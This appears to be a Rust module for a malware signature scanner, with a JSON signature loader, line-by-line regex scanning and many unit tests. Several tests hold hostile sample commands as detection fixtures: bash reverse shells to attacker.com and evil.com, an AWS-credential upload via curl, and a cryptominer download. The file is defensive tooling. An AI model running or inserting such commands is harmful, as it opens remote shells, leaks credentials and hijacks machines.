1use crate::rules::{Category, Confidence, Finding, Location, Severity};
2use regex::Regex;
3use serde::{Deserialize, Serialize};
4use std::fs;
5use std::path::Path;
6use thiserror::Error;
7
8const BUILTIN_SIGNATURES: &str = include_str!("../data/malware-signatures.json");
10
11#[derive(Debug, Clone, Serialize, Deserialize)]
12pub struct MalwareSignature {
13 pub id: String,
14 pub name: String,
15 pub description: String,
16 pub pattern: String,
17 pub severity: String,
18 pub category: String,
19 pub confidence: String,
20 pub reference: Option<String>,
21}
22
23#[derive(Debug, Clone, Serialize, Deserialize)]
24pub struct MalwareSignatureFile {
25 pub version: String,
26 pub updated_at: String,
27 pub signatures: Vec<MalwareSignature>,
28}
29
30pub struct CompiledSignature {
31 pub id: String,
32 pub name: String,
33 pub description: String,
34 pub regex: Regex,
35 pub severity: Severity,
36 pub category: Category,
37 pub confidence: Confidence,
38 pub reference: Option<String>,
39}
40
41pub struct MalwareDatabase {
42 signatures: Vec<CompiledSignature>,
43 version: String,
44 updated_at: String,
45}
46
47impl MalwareDatabase {
48 pub fn builtin() -> Result<Self, MalwareDbError> {
50 Self::from_json(BUILTIN_SIGNATURES)
51 }
52
53 pub fn from_file(path: &Path) -> Result<Self, MalwareDbError> {
55 let content = fs::read_to_string(path).map_err(MalwareDbError::ReadFile)?;
56 Self::from_json(&content)
57 }
58
59 pub fn from_json(json: &str) -> Result<Self, MalwareDbError> {
61 let file: MalwareSignatureFile =
62 serde_json::from_str(json).map_err(MalwareDbError::ParseJson)?;
63
64 let mut signatures = Vec::new();
65 for sig in file.signatures {
66 let regex = Regex::new(&sig.pattern).map_err(|e| MalwareDbError::InvalidPattern {
67 id: sig.id.clone(),
68 source: e,
69 })?;
70
71 let severity = match sig.severity.as_str() {
72 "critical" => Severity::Critical,
73 "high" => Severity::High,
74 "medium" => Severity::Medium,
75 "low" => Severity::Low,
76 _ => Severity::Medium,
77 };
78
79 let category = match sig.category.as_str() {
80 "exfiltration" => Category::Exfiltration,
81 "privilege-escalation" => Category::PrivilegeEscalation,
82 "persistence" => Category::Persistence,
83 "prompt-injection" => Category::PromptInjection,
84 "overpermission" => Category::Overpermission,
85 "obfuscation" => Category::Obfuscation,
86 "supply-chain" => Category::SupplyChain,
87 "secret-leak" => Category::SecretLeak,
88 _ => Category::Exfiltration,
89 };
90
91 let confidence = match sig.confidence.as_str() {
92 "certain" => Confidence::Certain,
93 "firm" => Confidence::Firm,
94 "tentative" => Confidence::Tentative,
95 _ => Confidence::Tentative,
96 };
97
98 signatures.push(CompiledSignature {
99 id: sig.id,
100 name: sig.name,
101 description: sig.description,
102 regex,
103 severity,
104 category,
105 confidence,
106 reference: sig.reference,
107 });
108 }
109
110 Ok(Self {
111 signatures,
112 version: file.version,
113 updated_at: file.updated_at,
114 })
115 }
116
117 pub fn version(&self) -> &str {
119 &self.version
120 }
121
122 pub fn updated_at(&self) -> &str {
124 &self.updated_at
125 }
126
127 pub fn signature_count(&self) -> usize {
129 self.signatures.len()
130 }
131
132 pub fn add_signatures(
134 &mut self,
135 signatures: Vec<MalwareSignature>,
136 ) -> Result<(), MalwareDbError> {
137 for sig in signatures {
138 let compiled = Self::compile_signature(sig)?;
139 self.signatures.push(compiled);
140 }
141 Ok(())
142 }
143
144 fn compile_signature(sig: MalwareSignature) -> Result<CompiledSignature, MalwareDbError> {
146 let regex = Regex::new(&sig.pattern).map_err(|e| MalwareDbError::InvalidPattern {
147 id: sig.id.clone(),
148 source: e,
149 })?;
150
151 let severity = match sig.severity.as_str() {
152 "critical" => Severity::Critical,
153 "high" => Severity::High,
154 "medium" => Severity::Medium,
155 "low" => Severity::Low,
156 _ => Severity::Medium,
157 };
158
159 let category = match sig.category.as_str() {
160 "exfiltration" => Category::Exfiltration,
161 "privilege-escalation" => Category::PrivilegeEscalation,
162 "persistence" => Category::Persistence,
163 "prompt-injection" => Category::PromptInjection,
164 "overpermission" => Category::Overpermission,
165 "obfuscation" => Category::Obfuscation,
166 "supply-chain" => Category::SupplyChain,
167 "secret-leak" => Category::SecretLeak,
168 _ => Category::Exfiltration,
169 };
170
171 let confidence = match sig.confidence.as_str() {
172 "certain" => Confidence::Certain,
173 "firm" => Confidence::Firm,
174 "tentative" => Confidence::Tentative,
175 _ => Confidence::Tentative,
176 };
177
178 Ok(CompiledSignature {
179 id: sig.id,
180 name: sig.name,
181 description: sig.description,
182 regex,
183 severity,
184 category,
185 confidence,
186 reference: sig.reference,
187 })
188 }
189
190 pub fn scan_content(&self, content: &str, file_path: &str) -> Vec<Finding> {
192 let mut findings = Vec::new();
193
194 for (line_num, line) in content.lines().enumerate() {
195 for sig in &self.signatures {
196 if sig.regex.is_match(line) {
197 findings.push(Finding {
198 id: sig.id.clone(),
199 severity: sig.severity,
200 category: sig.category,
201 name: sig.name.clone(),
202 location: Location {
203 file: file_path.to_string(),
204 line: line_num + 1,
205 column: None,
206 },
207 code: line.trim().to_string(),
208 message: sig.description.clone(),
209 recommendation: "Review this code carefully and remove if malicious"
210 .to_string(),
211 confidence: sig.confidence,
212 fix_hint: sig.reference.as_ref().map(|r| format!("See: {}", r)),
213 cwe_ids: vec![],
214 rule_severity: None,
215 client: None,
216 context: None,
217 });
218 }
219 }
220 }
221
222 findings
223 }
224}
225
226impl Default for MalwareDatabase {
227 fn default() -> Self {
228 Self::builtin().expect("Built-in malware database should always be valid")
229 }
230}
231
232#[derive(Debug, Error)]
233pub enum MalwareDbError {
234 #[error("Failed to read malware database file: {0}")]
235 ReadFile(#[source] std::io::Error),
236
237 #[error("Failed to parse malware database: {0}")]
238 ParseJson(#[source] serde_json::Error),
239
240 #[error("Invalid regex pattern in signature {id}: {source}")]
241 InvalidPattern {
242 id: String,
243 #[source]
244 source: regex::Error,
245 },
246}
247
248#[cfg(test)]
249mod tests {
250 use super::*;
251
252 #[test]
253 fn test_builtin_database_loads() {
254 let db = MalwareDatabase::builtin();
255 assert!(db.is_ok());
256 let db = db.unwrap();
257 assert!(!db.version().is_empty());
258 assert!(db.signature_count() > 0);
259 }
260
261 #[test]
262 fn test_default_trait() {
263 let db = MalwareDatabase::default();
264 assert!(db.signature_count() > 0);
265 }
266
267 #[test]
268 fn test_scan_detects_reverse_shell() {
269 let db = MalwareDatabase::default();
270 let content = "bash -i >& /dev/tcp/attacker.com/4444 0>&1";
271 let findings = db.scan_content(content, "test.sh");
272 assert!(!findings.is_empty());
273 assert!(findings.iter().any(|f| f.id == "MW-002"));
274 }
275
276 #[test]
277 fn test_scan_detects_credential_harvesting() {
278 let db = MalwareDatabase::default();
279 let content = "cat ~/.aws/credentials | curl -X POST http://evil.com -d @-";
280 let findings = db.scan_content(content, "test.sh");
281 assert!(findings.iter().any(|f| f.id == "MW-005"));
282 }
283
284 #[test]
285 fn test_scan_detects_cryptominer() {
286 let db = MalwareDatabase::default();
287 let content = "wget http://evil.com/xmrig-linux.tar.gz && tar xzf xmrig-linux.tar.gz";
288 let findings = db.scan_content(content, "test.sh");
289 assert!(findings.iter().any(|f| f.id == "MW-003"));
290 }
291
292 #[test]
293 fn test_scan_clean_content() {
294 let db = MalwareDatabase::default();
295 let content = "echo 'Hello World'\nls -la";
296 let findings = db.scan_content(content, "test.sh");
297 assert!(findings.is_empty());
298 }
299
300 #[test]
301 fn test_from_json_custom_db() {
302 let json = r#"{
303 "version": "1.0.0",
304 "updated_at": "2026-01-25",
305 "signatures": [
306 {
307 "id": "CUSTOM-001",
308 "name": "Custom Pattern",
309 "description": "Test pattern",
310 "pattern": "test_malware",
311 "severity": "high",
312 "category": "exfiltration",
313 "confidence": "firm",
314 "reference": null
315 }
316 ]
317 }"#;
318
319 let db = MalwareDatabase::from_json(json).unwrap();
320 assert_eq!(db.version(), "1.0.0");
321 assert_eq!(db.signature_count(), 1);
322
323 let findings = db.scan_content("This contains test_malware pattern", "file.txt");
324 assert!(!findings.is_empty());
325 assert_eq!(findings[0].id, "CUSTOM-001");
326 }
327
328 #[test]
329 fn test_invalid_json() {
330 let result = MalwareDatabase::from_json("not valid json");
331 assert!(result.is_err());
332 }
333
334 #[test]
335 fn test_invalid_regex_pattern() {
336 let json = r#"{
337 "version": "1.0.0",
338 "updated_at": "2026-01-25",
339 "signatures": [
340 {
341 "id": "BAD-001",
342 "name": "Bad Pattern",
343 "description": "Invalid regex",
344 "pattern": "[invalid",
345 "severity": "high",
346 "category": "exfiltration",
347 "confidence": "firm",
348 "reference": null
349 }
350 ]
351 }"#;
352
353 let result = MalwareDatabase::from_json(json);
354 assert!(result.is_err());
355 assert!(matches!(result, Err(MalwareDbError::InvalidPattern { .. })));
356 }
357
358 #[test]
359 fn test_finding_has_correct_location() {
360 let db = MalwareDatabase::default();
361 let content = "line1\nline2\nbash -i >& /dev/tcp/evil.com/4444 0>&1\nline4";
362 let findings = db.scan_content(content, "test.sh");
363 assert!(!findings.is_empty());
364 assert_eq!(findings[0].location.line, 3);
365 assert_eq!(findings[0].location.file, "test.sh");
366 }
367
368 #[test]
369 fn test_severity_mapping() {
370 let json = r#"{
371 "version": "1.0.0",
372 "updated_at": "2026-01-25",
373 "signatures": [
374 {
375 "id": "TEST-001",
376 "name": "Critical",
377 "description": "Test",
378 "pattern": "critical_test",
379 "severity": "critical",
380 "category": "exfiltration",
381 "confidence": "certain",
382 "reference": null
383 },
384 {
385 "id": "TEST-002",
386 "name": "Low",
387 "description": "Test",
388 "pattern": "low_test",
389 "severity": "low",
390 "category": "persistence",
391 "confidence": "tentative",
392 "reference": null
393 }
394 ]
395 }"#;
396
397 let db = MalwareDatabase::from_json(json).unwrap();
398
399 let findings = db.scan_content("critical_test", "file.txt");
400 assert_eq!(findings[0].severity, Severity::Critical);
401 assert_eq!(findings[0].confidence, Confidence::Certain);
402
403 let findings = db.scan_content("low_test", "file.txt");
404 assert_eq!(findings[0].severity, Severity::Low);
405 assert_eq!(findings[0].category, Category::Persistence);
406 }
407
408 #[test]
409 fn test_all_severity_levels() {
410 let json = r#"{
411 "version": "1.0.0",
412 "updated_at": "2026-01-25",
413 "signatures": [
414 {"id": "S1", "name": "T", "description": "T", "pattern": "sev_critical", "severity": "critical", "category": "exfiltration", "confidence": "firm", "reference": null},
415 {"id": "S2", "name": "T", "description": "T", "pattern": "sev_high", "severity": "high", "category": "exfiltration", "confidence": "firm", "reference": null},
416 {"id": "S3", "name": "T", "description": "T", "pattern": "sev_medium", "severity": "medium", "category": "exfiltration", "confidence": "firm", "reference": null},
417 {"id": "S4", "name": "T", "description": "T", "pattern": "sev_low", "severity": "low", "category": "exfiltration", "confidence": "firm", "reference": null},
418 {"id": "S5", "name": "T", "description": "T", "pattern": "sev_unknown", "severity": "unknown", "category": "exfiltration", "confidence": "firm", "reference": null}
419 ]
420 }"#;
421
422 let db = MalwareDatabase::from_json(json).unwrap();
423
424 let findings = db.scan_content("sev_critical", "file.txt");
425 assert_eq!(findings[0].severity, Severity::Critical);
426
427 let findings = db.scan_content("sev_high", "file.txt");
428 assert_eq!(findings[0].severity, Severity::High);
429
430 let findings = db.scan_content("sev_medium", "file.txt");
431 assert_eq!(findings[0].severity, Severity::Medium);
432
433 let findings = db.scan_content("sev_low", "file.txt");
434 assert_eq!(findings[0].severity, Severity::Low);
435
436 let findings = db.scan_content("sev_unknown", "file.txt");
438 assert_eq!(findings[0].severity, Severity::Medium);
439 }
440
441 #[test]
442 fn test_all_categories() {
443 let json = r#"{
444 "version": "1.0.0",
445 "updated_at": "2026-01-25",
446 "signatures": [
447 {"id": "C1", "name": "T", "description": "T", "pattern": "cat_exfil", "severity": "high", "category": "exfiltration", "confidence": "firm", "reference": null},
448 {"id": "C2", "name": "T", "description": "T", "pattern": "cat_priv", "severity": "high", "category": "privilege-escalation", "confidence": "firm", "reference": null},
449 {"id": "C3", "name": "T", "description": "T", "pattern": "cat_persist", "severity": "high", "category": "persistence", "confidence": "firm", "reference": null},
450 {"id": "C4", "name": "T", "description": "T", "pattern": "cat_prompt", "severity": "high", "category": "prompt-injection", "confidence": "firm", "reference": null},
451 {"id": "C5", "name": "T", "description": "T", "pattern": "cat_overperm", "severity": "high", "category": "overpermission", "confidence": "firm", "reference": null},
452 {"id": "C6", "name": "T", "description": "T", "pattern": "cat_obfusc", "severity": "high", "category": "obfuscation", "confidence": "firm", "reference": null},
453 {"id": "C7", "name": "T", "description": "T", "pattern": "cat_supply", "severity": "high", "category": "supply-chain", "confidence": "firm", "reference": null},
454 {"id": "C8", "name": "T", "description": "T", "pattern": "cat_secret", "severity": "high", "category": "secret-leak", "confidence": "firm", "reference": null},
455 {"id": "C9", "name": "T", "description": "T", "pattern": "cat_unknown", "severity": "high", "category": "unknown", "confidence": "firm", "reference": null}
456 ]
457 }"#;
458
459 let db = MalwareDatabase::from_json(json).unwrap();
460
461 let findings = db.scan_content("cat_exfil", "file.txt");
462 assert_eq!(findings[0].category, Category::Exfiltration);
463
464 let findings = db.scan_content("cat_priv", "file.txt");
465 assert_eq!(findings[0].category, Category::PrivilegeEscalation);
466
467 let findings = db.scan_content("cat_persist", "file.txt");
468 assert_eq!(findings[0].category, Category::Persistence);
469
470 let findings = db.scan_content("cat_prompt", "file.txt");
471 assert_eq!(findings[0].category, Category::PromptInjection);
472
473 let findings = db.scan_content("cat_overperm", "file.txt");
474 assert_eq!(findings[0].category, Category::Overpermission);
475
476 let findings = db.scan_content("cat_obfusc", "file.txt");
477 assert_eq!(findings[0].category, Category::Obfuscation);
478
479 let findings = db.scan_content("cat_supply", "file.txt");
480 assert_eq!(findings[0].category, Category::SupplyChain);
481
482 let findings = db.scan_content("cat_secret", "file.txt");
483 assert_eq!(findings[0].category, Category::SecretLeak);
484
485 let findings = db.scan_content("cat_unknown", "file.txt");
487 assert_eq!(findings[0].category, Category::Exfiltration);
488 }
489
490 #[test]
491 fn test_all_confidence_levels() {
492 let json = r#"{
493 "version": "1.0.0",
494 "updated_at": "2026-01-25",
495 "signatures": [
496 {"id": "CF1", "name": "T", "description": "T", "pattern": "conf_certain", "severity": "high", "category": "exfiltration", "confidence": "certain", "reference": null},
497 {"id": "CF2", "name": "T", "description": "T", "pattern": "conf_firm", "severity": "high", "category": "exfiltration", "confidence": "firm", "reference": null},
498 {"id": "CF3", "name": "T", "description": "T", "pattern": "conf_tentative", "severity": "high", "category": "exfiltration", "confidence": "tentative", "reference": null},
499 {"id": "CF4", "name": "T", "description": "T", "pattern": "conf_unknown", "severity": "high", "category": "exfiltration", "confidence": "unknown", "reference": null}
500 ]
501 }"#;
502
503 let db = MalwareDatabase::from_json(json).unwrap();
504
505 let findings = db.scan_content("conf_certain", "file.txt");
506 assert_eq!(findings[0].confidence, Confidence::Certain);
507
508 let findings = db.scan_content("conf_firm", "file.txt");
509 assert_eq!(findings[0].confidence, Confidence::Firm);
510
511 let findings = db.scan_content("conf_tentative", "file.txt");
512 assert_eq!(findings[0].confidence, Confidence::Tentative);
513
514 let findings = db.scan_content("conf_unknown", "file.txt");
516 assert_eq!(findings[0].confidence, Confidence::Tentative);
517 }
518
519 #[test]
520 fn test_signature_with_reference() {
521 let json = r#"{
522 "version": "1.0.0",
523 "updated_at": "2026-01-25",
524 "signatures": [
525 {
526 "id": "REF-001",
527 "name": "Test with reference",
528 "description": "Test",
529 "pattern": "ref_test",
530 "severity": "high",
531 "category": "exfiltration",
532 "confidence": "firm",
533 "reference": "https://example.com/reference"
534 }
535 ]
536 }"#;
537
538 let db = MalwareDatabase::from_json(json).unwrap();
539 let findings = db.scan_content("ref_test", "file.txt");
540 assert!(findings[0].fix_hint.is_some());
541 assert!(
542 findings[0]
543 .fix_hint
544 .as_ref()
545 .unwrap()
546 .contains("https://example.com/reference")
547 );
548 }
549
550 #[test]
551 fn test_malware_db_error_display_read_file() {
552 let io_error =
553 std::io::Error::new(std::io::ErrorKind::PermissionDenied, "permission denied");
554 let error = MalwareDbError::ReadFile(io_error);
555 assert!(format!("{}", error).contains("Failed to read malware database file"));
556 }
557
558 #[test]
559 fn test_malware_db_error_display_parse_json() {
560 let result: Result<MalwareSignatureFile, _> = serde_json::from_str("invalid json");
562 let json_error = result.unwrap_err();
563 let error = MalwareDbError::ParseJson(json_error);
564 assert!(format!("{}", error).contains("Failed to parse malware database"));
565 }
566
567 #[test]
568 #[allow(clippy::invalid_regex)]
569 fn test_malware_db_error_display_invalid_pattern() {
570 let regex_error = Regex::new("[invalid").unwrap_err();
572 let error = MalwareDbError::InvalidPattern {
573 id: "SIG-001".to_string(),
574 source: regex_error,
575 };
576 assert!(format!("{}", error).contains("Invalid regex pattern"));
577 assert!(format!("{}", error).contains("SIG-001"));
578 }
579
580 #[test]
581 fn test_malware_db_error_is_error() {
582 let io_error = std::io::Error::new(std::io::ErrorKind::NotFound, "not found");
583 let error: Box<dyn std::error::Error> = Box::new(MalwareDbError::ReadFile(io_error));
584 assert!(!error.to_string().is_empty());
585 }
586
587 #[test]
588 fn test_database_metadata() {
589 let db = MalwareDatabase::default();
590 assert!(!db.version().is_empty());
591 assert!(!db.updated_at().is_empty());
592 }
593
594 #[test]
595 fn test_multiline_content_scan() {
596 let db = MalwareDatabase::default();
597 let content = r#"
598#!/bin/bash
599echo "Hello"
600bash -i >& /dev/tcp/evil.com/4444 0>&1
601echo "Goodbye"
602"#;
603 let findings = db.scan_content(content, "test.sh");
604 assert!(!findings.is_empty());
605 assert_eq!(findings[0].location.line, 4);
606 }
607
608 #[test]
609 fn test_add_signatures() {
610 let mut db = MalwareDatabase::default();
611 let initial_count = db.signature_count();
612
613 let custom_sigs = vec![MalwareSignature {
614 id: "MW-CUSTOM-001".to_string(),
615 name: "Custom Malware".to_string(),
616 description: "Test custom pattern".to_string(),
617 pattern: "custom_evil_pattern".to_string(),
618 severity: "critical".to_string(),
619 category: "exfiltration".to_string(),
620 confidence: "firm".to_string(),
621 reference: None,
622 }];
623
624 db.add_signatures(custom_sigs).unwrap();
625 assert_eq!(db.signature_count(), initial_count + 1);
626
627 let findings = db.scan_content("custom_evil_pattern detected", "test.sh");
629 assert!(!findings.is_empty());
630 assert!(findings.iter().any(|f| f.id == "MW-CUSTOM-001"));
631 }
632
633 #[test]
634 fn test_add_signatures_invalid_pattern() {
635 let mut db = MalwareDatabase::default();
636 let custom_sigs = vec![MalwareSignature {
637 id: "MW-INVALID".to_string(),
638 name: "Invalid".to_string(),
639 description: "Test".to_string(),
640 pattern: "[invalid(".to_string(), severity: "high".to_string(),
642 category: "exfiltration".to_string(),
643 confidence: "firm".to_string(),
644 reference: None,
645 }];
646
647 let result = db.add_signatures(custom_sigs);
648 assert!(result.is_err());
649 }
650
651 #[test]
652 fn test_add_signatures_all_severity_levels() {
653 let mut db = MalwareDatabase::default();
654 let custom_sigs = vec![
655 MalwareSignature {
656 id: "ADD-HIGH".to_string(),
657 name: "High".to_string(),
658 description: "Test".to_string(),
659 pattern: "add_high_test".to_string(),
660 severity: "high".to_string(),
661 category: "exfiltration".to_string(),
662 confidence: "firm".to_string(),
663 reference: None,
664 },
665 MalwareSignature {
666 id: "ADD-MEDIUM".to_string(),
667 name: "Medium".to_string(),
668 description: "Test".to_string(),
669 pattern: "add_medium_test".to_string(),
670 severity: "medium".to_string(),
671 category: "exfiltration".to_string(),
672 confidence: "firm".to_string(),
673 reference: None,
674 },
675 MalwareSignature {
676 id: "ADD-LOW".to_string(),
677 name: "Low".to_string(),
678 description: "Test".to_string(),
679 pattern: "add_low_test".to_string(),
680 severity: "low".to_string(),
681 category: "exfiltration".to_string(),
682 confidence: "firm".to_string(),
683 reference: None,
684 },
685 MalwareSignature {
686 id: "ADD-UNKNOWN".to_string(),
687 name: "Unknown".to_string(),
688 description: "Test".to_string(),
689 pattern: "add_unknown_test".to_string(),
690 severity: "unknown".to_string(),
691 category: "exfiltration".to_string(),
692 confidence: "firm".to_string(),
693 reference: None,
694 },
695 ];
696
697 db.add_signatures(custom_sigs).unwrap();
698
699 let findings = db.scan_content("add_high_test", "test.txt");
700 assert_eq!(findings[0].severity, Severity::High);
701
702 let findings = db.scan_content("add_medium_test", "test.txt");
703 assert_eq!(findings[0].severity, Severity::Medium);
704
705 let findings = db.scan_content("add_low_test", "test.txt");
706 assert_eq!(findings[0].severity, Severity::Low);
707
708 let findings = db.scan_content("add_unknown_test", "test.txt");
709 assert_eq!(findings[0].severity, Severity::Medium); }
711
712 #[test]
713 fn test_add_signatures_all_categories() {
714 let mut db = MalwareDatabase::default();
715 let custom_sigs = vec![
716 MalwareSignature {
717 id: "CAT-PRIV".to_string(),
718 name: "Priv".to_string(),
719 description: "Test".to_string(),
720 pattern: "cat_priv_add".to_string(),
721 severity: "high".to_string(),
722 category: "privilege-escalation".to_string(),
723 confidence: "firm".to_string(),
724 reference: None,
725 },
726 MalwareSignature {
727 id: "CAT-PERSIST".to_string(),
728 name: "Persist".to_string(),
729 description: "Test".to_string(),
730 pattern: "cat_persist_add".to_string(),
731 severity: "high".to_string(),
732 category: "persistence".to_string(),
733 confidence: "firm".to_string(),
734 reference: None,
735 },
736 MalwareSignature {
737 id: "CAT-PROMPT".to_string(),
738 name: "Prompt".to_string(),
739 description: "Test".to_string(),
740 pattern: "cat_prompt_add".to_string(),
741 severity: "high".to_string(),
742 category: "prompt-injection".to_string(),
743 confidence: "firm".to_string(),
744 reference: None,
745 },
746 MalwareSignature {
747 id: "CAT-OVERPERM".to_string(),
748 name: "Overperm".to_string(),
749 description: "Test".to_string(),
750 pattern: "cat_overperm_add".to_string(),
751 severity: "high".to_string(),
752 category: "overpermission".to_string(),
753 confidence: "firm".to_string(),
754 reference: None,
755 },
756 MalwareSignature {
757 id: "CAT-OBFUSC".to_string(),
758 name: "Obfusc".to_string(),
759 description: "Test".to_string(),
760 pattern: "cat_obfusc_add".to_string(),
761 severity: "high".to_string(),
762 category: "obfuscation".to_string(),
763 confidence: "firm".to_string(),
764 reference: None,
765 },
766 MalwareSignature {
767 id: "CAT-SUPPLY".to_string(),
768 name: "Supply".to_string(),
769 description: "Test".to_string(),
770 pattern: "cat_supply_add".to_string(),
771 severity: "high".to_string(),
772 category: "supply-chain".to_string(),
773 confidence: "firm".to_string(),
774 reference: None,
775 },
776 MalwareSignature {
777 id: "CAT-SECRET".to_string(),
778 name: "Secret".to_string(),
779 description: "Test".to_string(),
780 pattern: "cat_secret_add".to_string(),
781 severity: "high".to_string(),
782 category: "secret-leak".to_string(),
783 confidence: "firm".to_string(),
784 reference: None,
785 },
786 MalwareSignature {
787 id: "CAT-UNKNOWN".to_string(),
788 name: "Unknown".to_string(),
789 description: "Test".to_string(),
790 pattern: "cat_unknown_add".to_string(),
791 severity: "high".to_string(),
792 category: "unknown".to_string(),
793 confidence: "firm".to_string(),
794 reference: None,
795 },
796 ];
797
798 db.add_signatures(custom_sigs).unwrap();
799
800 let findings = db.scan_content("cat_priv_add", "test.txt");
801 assert_eq!(findings[0].category, Category::PrivilegeEscalation);
802
803 let findings = db.scan_content("cat_persist_add", "test.txt");
804 assert_eq!(findings[0].category, Category::Persistence);
805
806 let findings = db.scan_content("cat_prompt_add", "test.txt");
807 assert_eq!(findings[0].category, Category::PromptInjection);
808
809 let findings = db.scan_content("cat_overperm_add", "test.txt");
810 assert_eq!(findings[0].category, Category::Overpermission);
811
812 let findings = db.scan_content("cat_obfusc_add", "test.txt");
813 assert_eq!(findings[0].category, Category::Obfuscation);
814
815 let findings = db.scan_content("cat_supply_add", "test.txt");
816 assert_eq!(findings[0].category, Category::SupplyChain);
817
818 let findings = db.scan_content("cat_secret_add", "test.txt");
819 assert_eq!(findings[0].category, Category::SecretLeak);
820
821 let findings = db.scan_content("cat_unknown_add", "test.txt");
822 assert_eq!(findings[0].category, Category::Exfiltration); }
824
825 #[test]
826 fn test_add_signatures_all_confidence_levels() {
827 let mut db = MalwareDatabase::default();
828 let custom_sigs = vec![
829 MalwareSignature {
830 id: "CONF-TENT".to_string(),
831 name: "Tentative".to_string(),
832 description: "Test".to_string(),
833 pattern: "conf_tentative_add".to_string(),
834 severity: "high".to_string(),
835 category: "exfiltration".to_string(),
836 confidence: "tentative".to_string(),
837 reference: None,
838 },
839 MalwareSignature {
840 id: "CONF-UNKNOWN".to_string(),
841 name: "Unknown".to_string(),
842 description: "Test".to_string(),
843 pattern: "conf_unknown_add".to_string(),
844 severity: "high".to_string(),
845 category: "exfiltration".to_string(),
846 confidence: "unknown".to_string(),
847 reference: None,
848 },
849 ];
850
851 db.add_signatures(custom_sigs).unwrap();
852
853 let findings = db.scan_content("conf_tentative_add", "test.txt");
854 assert_eq!(findings[0].confidence, Confidence::Tentative);
855
856 let findings = db.scan_content("conf_unknown_add", "test.txt");
857 assert_eq!(findings[0].confidence, Confidence::Tentative); }
859}